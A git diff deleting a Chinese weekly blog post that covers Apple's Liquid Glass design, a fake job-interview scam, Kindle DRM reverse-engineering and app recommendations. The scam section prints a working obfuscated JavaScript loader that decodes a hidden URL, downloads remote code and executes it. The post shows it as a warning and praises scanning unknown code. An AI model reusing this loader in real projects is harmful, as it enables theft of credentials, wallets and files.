summaryrefslogtreecommitdiff
path: root/content/posts/weekly/51.md
diff options
context:
space:
mode:
Diffstat (limited to 'content/posts/weekly/51.md')
-rw-r--r--content/posts/weekly/51.md170
1 files changed, 0 insertions, 170 deletions
diff --git a/content/posts/weekly/51.md b/content/posts/weekly/51.md
deleted file mode 100644
index 3a47c5dd..00000000
--- a/content/posts/weekly/51.md
+++ /dev/null
@@ -1,170 +0,0 @@
----
-title: 稻草人周刊 Vol.51
-subtitle: Liquid Glass 的罪行
-tags:
-- Apple
-- 设计
-- 隐私
-- 游戏
-categories: 稻草人周刊
-date: 2025-10-20 08:36:00
-draft: false
-toc: true
-aliases:
-- /posts/weekly/51
----
-
-
-{{< music cover="https://r2.eltr.ac/uPic/2025/10/The_Tortured_Poets_Department_The_Anthology.png" title="loml" artist="Taylor Swift" apple="https://music.apple.com/cn/album/loml/1742057774?i=1742058103" spotify="https://open.spotify.com/track/3YkNIrAvbKNrrwwEd7NVLl" >}}
-
-大概是下雨的关系,这几天总是在路上听这首歌。
-
-<!--more-->
-
----
-
-## ↯ · 当下
-
-- 把 IntelliJ IDEA 卸载了,一方面是它真的太重了,另一方面是最近写代码的时候遇到好几个莫名其妙的问题,和代码无关,IDEA 重装之后也无法正常打开项目,完全不知道怎么排查。如果不用图形界面的话,就完全不会有这些问题,所以我就全面转向 Zed 编辑器和命令行工具了。自己需要写 Java 代码的时间其实相对较少,用得更多的语言是 JavaScript、Lua 还有偶尔的 Go 语言,这些语言我都能够用一个简单轻量的编辑器,加上本身就足够好用、清晰的命令行工具搭建开发环境。
-
- 明明 Spring Boot 的 `mvn spring-boot:run` 和 JavaScript 的 `npm run dev` 一样好用,命令行排查问题也更方便、加载速度也更快,真不知道为什么非要用一个又贵又难用的图形界面工具。即使是开发大型软件,这种配置也更接近真实的运行环境,而且各种操作都是透明的,没有伪装成按钮和表格的「魔法」。
-
- 如果我要更进一步的话,我大概就会去用 Emacs 或者 Vim 编辑器了。
-- 这周读完了三本书,分别是萨特的《[存在主义是一种人道主义](/library/2025/存在主义是一种人道主义/)》《[零废弃](/library/2025/零废弃/)》和《[控糖革命](/library/2025/控糖革命/)》,可以在博客阅读我写的三篇书评。读完之后我也在逐渐把家里的塑料制品逐步替换为金属、玻璃、硅胶或陶瓷材质的;开始控糖,在餐前吃富含纤维的开胃菜、喝醋汁、饭后适度运动。
-
-## ⋈︎ · 连接
-
-### Liquid Glass 的罪行
-
-> [!note] 📜
-> [Liquid Glass Is Cracked, and Usability Suffers in iOS 26 - NN/G](https://www.nngroup.com/articles/liquid-glass/)
-
-本文批评了 Apple 的新设计语言「Liquid Glass」,认为新设计让内容变得更复杂,从而降低了实用性,而且一些新的设计方案摒弃了已有的操作习惯和传统。
-
-最值得诟病的是液态玻璃的「透明度」,尽管经过几轮测试之后,可读性有了提升,但层级的缺失使得两层甚至三层内容经常堆叠在一起。这不仅是可读性很差,而且非常**丑**。许多元素经常叠在一起抢占空间,还抢占用户的注意力。
-
-新系统里的动效非常丰富,但很多都没有必要。作者说,苹果的新界面像是无时不刻地在喊「看看我!」,然而界面实际上应该让步给内容。有很多动画不仅令人困惑且没有意义,还让整个界面看起来很复杂、很「慢」。
-
-由于新系统里多了很多悬浮按钮,而这些按钮都有玻璃背景,玻璃两边离屏幕边缘有很大的距离,再加上无处不在的大圆角,防止按钮的空间其实被压缩了,这也就导致可供用户点击的空间变小了,也让按钮挤在一起。最气人的是 Safari,当「前进」「后退」和「菜单」按钮都显示出来时,中间的地址栏就会被挤成一小条,甚至分辨自己在哪个网站上都变得很困难。
-
-作者还批评了 iOS 26 的「可预测性」(predictability),类比了 Microsoft Office 曾经「把用户常用的按钮放在前面」这种看似合理但实际上非常难用的策略,动态、变化的 UI 会让用户没有办法在原来的地方找到自己想要的功能,反而需要更多的时间导航。在以「健康」为例的原生应用里,用户一点击搜索框,左边的导航栏就会收缩起来变成一个——我自己的体会是,这的确会让我在切换页面时看到困惑;尽管能够理解这种设计,也不至于因此而迷路,但这就是没有不会变化的界面来得直观和快捷。
-
-在以前,iOS 上各种 App 的搜索框都被放置在页面最上方,用户下拉页面就能看到折叠起来的收缩框。现在,Apple 把搜索框固定到了界面下方,可以随时点击。然而,习惯了下拉进行搜索的老用户明显会感到不习惯,需要重新学习。Apple 还移除了面包屑导航,现在点击返回按钮时用户需要回忆自己会回到什么地方。
-
-总而言之,作者认为苹果的新设计「美观性大于实用性」(prioritizing spectacle over usability),很多设计都只可远观,不可亵玩。
-
-#### 我的观点
-
-一开始我其实很喜欢 Liquid Glass,因为 Apple 展示的宣传界面的确令人眼前一亮。不过,自己更新新系统使用了一两个月之后,我就逐渐对 Liquid Glass 失望了。至少,我觉得这种设计语言完全不应该大量地出现在 macOS 上——电脑这种有大量精细操作的设备为什么会需要这么多圆角?
-
-此外,我原本以为全新的 Spotlight(聚焦搜索)可以代替 Raycast,毕竟我只是这个软件的轻度用户。不过频繁打开 Spotlight 之后发现它的淡入淡出动画真的很烦人,太慢了,经常让我感觉没有打开,于是按了两遍快捷键,结果第二次操作的时候就关掉了 Spotlight……
-
-#设计 #Apple
-
-### 我差点被一个「工作面试」偷走数字身份
-
-> [!note] 📜
-> [How I Almost Got Hacked By A 'Job Interview'](https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview)
-
-作者是一个很注重隐私和数据安全的程序员,最近他在领英上收到了一个工作面试邀请,查看对方身份之后发现是一个正规的公司,于是就接受了。面试之前,面试官给它发送了一个 GitBucket 仓库,要求在面试之前的三十分钟内完成这个测验。作者起初觉得这很正常,很多面试官都会这样检验面试者的实操能力;由于时间很紧,作者没怎么调试就直接做完了题目,在最终要执行 `npm run start` 启动项目的时候,他突然觉得哪里不对劲。
-
-于是他向 Cursor 的 AI Agent 问了一个问题:
-
-> 在我运行这个应用之前,你能不能帮我检查一下代码库里有没有什么可疑的代码?
-
-Agent 帮他翻出来了这段代码:
-
-```js
-//Get Cookie
-(async () => {
- const byteArray = [
- 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
- 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
- 98, 50, 48, 51, 49, 102, 98, 57
- ];
- const uint8Array = new Uint8Array(byteArray);
- const decoder = new TextDecoder('utf-8');
- axios.get(decoder.decode(uint8Array))
- .then(response => {
- new Function("require", response.data.model)(require);
- })
- .catch(error => { });
-})();
-```
-
-将 `byteArray` 解码之后会得到一个链接,这段代码的作用就是从这个链接中下载并执行代码,而这段来自网络的代码是纯粹的恶意软件,会偷走加密钱包、文件、密码和你的整个数字身份的那种。由于这段代码被写在服务端的控制器里,在运行时拥有系统权限,真的非常邪恶。并且,这个链接在 24 小时之后就失效了,对方早就做好了销毁证据的准备。
-
-作者后来在评论区表示,对方在发现自己还没有执行代码之后,将工作面试推迟了两次,然后作者把这篇文章的草稿发给了他们,之后就被拉黑了。后来这家公司的招聘人员和创始人还来这篇文章下回复,表示他们正在调查,并且这种恶意事件和他们没有关系,他们只是忘记修改领英的默认设置,导致任何人都可以和他们的企业关联起来。
-
-#### 我的观点
-
-AI 编程工具的妙用:检查恶意代码。在运行来源不明的代码之前,花一两分钟的时间请大模型帮忙扫描一遍代码库,是真的能救命的。读完这篇文章也让我开始警觉,我从未想过用 `npm run start` 执行一个简单的前端项目也有被黑的可能性。
-
-#隐私
-
-### 我「逆向工程」了 Amazon 的 Kindle 图书服务
-
-> [!note] 📜
-> [How I Reversed Amazon's Kindle Web Obfuscation Because Their App Sucked](https://blog.pixelmelt.dev/kindle-web-drm/)
-
-因为 Amazon 做的 App 实在是太难用,作者想把他在 Amazon 购买的电子书下载到设备上,用一个好用的阅读器软件来阅读,结果发现他只能在 Amazon 的软件里访问自己花钱购买的电子书。作者本可以直接退款,但他认为自己付过钱,就理应能够把电子书导入 Calibre,和自己其他的书一起阅读。
-
-所以他逆向工程了 Amazon 的 Web 客户端,结果发现,Amazon 不会明文传输电子书文本,而是用到了替换加密,每个字对应的是字体中的一个字形(Glyph);而且 API 限制一次只能请求五页,每次请求,这个字形的映射都会改变,也就是说作者无法创建一个适用于整本书的字形映射表。
-
-```json
-{
- "type": "TextRun",
- "glyphs": [24, 25, 74, 123, 91, 18, 19, 30, 4, ...],
- "style": "paragraph"
-}
-```
-
-一个编码对应的是字形的 SVG 定义,Amazon 在这里还用到了 SVG 的移动操作(MoveTo Opertaion),由于浏览器原生支持 Path2D,所以能够正常渲染,而 Python 的 SVG 库则不行;由于这里的移动操作是随机的,所以也不能通过字符串匹配的方式构造字形映射,也就是说,就算是相同的字符,其 SVG 定义也会有微小的差异。
-
-最后作者换了一个 SVG 库,把每一个 SVG 渲染成图片,然后用图片生成 Hash,这样就算同一个字形的 SVG 定义有差异,Hash 也是不会变的;通过这个 Hash 作者构造出了一个映射表,生成了 EPUB 格式的电子书。
-
-#### 我的观点
-
-尽管这种操作的法律正规性存疑(作者的确破解了加密方式并传播了方法,但没有传播破解软件,文章里甚至没有一行他写的代码),但不失为一种学习和练习技术的方式。
-
-读完之后我开始思考,如果电子书平台在用户购买书籍之后都不允许下载电子书文件,只允许在限定的 App 里阅读,那真的能算作购买吗?在文中,作者认为这是「租用」,要是企业跨掉了,或者只要他们想,你就没办法访问你「购买」的电子书了。出于这种原因我始终不愿意在这样的「正规渠道」购买电子书,我选择更多地阅读纸质书,或者下载免费的电子书资源。如果购买意味着真正的「拥有」,那我才会愿意像购买纸质书一样购买电子书。也有可能,由于数字产品的特殊性,这点没办法做到吧。
-
-## ⁂ · 星群
-
-### AirBattery
-
-一个开源的 macOS 应用,提供更多的电量显示,支持本机、iPhone、iPad、AirPods 以及各种蓝牙配件,电量可以用小组件、Dock 栏图标和菜单栏图标等形态展示,还能设置低电量和高电量提醒。软件支持零配置开箱即用,但第一次使用还是需要操作一下:需要用数据线连接 iPhone 并信任设备,然后在设置里打开允许通过蓝牙发现设备,才能正常显示 iPhone 电量,成功配对 iPhone 之后能够自动配对 Apple Watch;通过 Nearcast 功能,可以通过局域网广播的方式同步其他 Mac 的电量…… 不是苹果但带有蓝牙电显功能的蓝牙设备似乎不能正常显示电量,至少我的设备上没有。
-
-我其实很少会检查设备的电量,经常在要出门的时候才发现 iPad 或者 MacBook 没电了(最坏的情况是 AirPods 也没电了,不过有无线充电设备之后这种情况就很少发生了)。通过小组件聚合显示所有设备的电量的确会方便不少,能提醒我及时给设备们充电。
-
-![](https://r2.eltr.ac/picgo2025/202510132133053.png)
-
-访问:[lihaoyun6/AirBattery](https://github.com/lihaoyun6/AirBattery)
-
-### 1Capture
-
-一款基础功能免费,高级功能付费的截图软件。高级功能包括移除水印、滚动截图、固定图片到桌面、文字识别和类似 Cleanshot X 的截图美化。包括基础功能在内的各种使用体验都做得非常优雅,1Capture 的箭头标注工具大概是我见过最好看的了,还有自带的贴纸,贴上自带阴影,而且每个贴纸都长得很好看。目前 1Capture 终身买断价格为 ¥98,我决定先试用 7 天,搞不好真的又要花钱购买了。
-
-其实 1Capture 从功能上来讲,完全可以被 PixPin 的免费功能替代,奈何后者是 Qt 开发的,放到 macOS 上还是太丑了。如果不在意美观程度,完全可以用 PixPin 替代。ß
-
-![](https://r2.eltr.ac/picgo2025/close_help.avif)
-
-访问:[1Capture](https://docs.1capture.com/cn/start)
-
-### Is This Seat Taken?
-
-大概是一个月以前买的游戏,最近才治好「电子阳痿」打开来玩。玩法是根据不同小人的需求,将所有人安置到适合他们的位置上,比如有的人不喜欢旁边有人、不喜欢和小孩待在一起,有的人没洗澡或者喷了太多香水,而相应的会有人希望离这些气味远一点,还有的小孩子想和别的小孩坐在一起,有的人想和别人说话,而有的人因为想要读书或睡觉,想要离那些说话和外放音乐的人远一些。
-
-游戏的难度适中,玩到第三大关还没有遇到卡关的情况,但也有不少有挑战的关卡。游戏中会有反复出现的人物,玩家可以见证他们前往不同城市、遇到不同的人发生的故事,还算是增加了一些趣味性。游戏的画风也很可爱,我尤其喜欢这种柔和的配色,总之,推荐一玩。
-
-![](https://r2.eltr.ac/picgo2025/20251019-is-this-seat-taken-game.jpeg)
-
-访问:[Is This Seat Taken? on Steam](https://store.steampowered.com/app/3035120/Is_this_Seat_Taken/)
-
-### meow.camera
-
-人类,你可以观看猫咪进食。
-
-![](https://r2.eltr.ac/picgo2025/20251019-mewocamera.jpeg)
-
-访问:[meow.camera](https://meow.camera/) \ No newline at end of file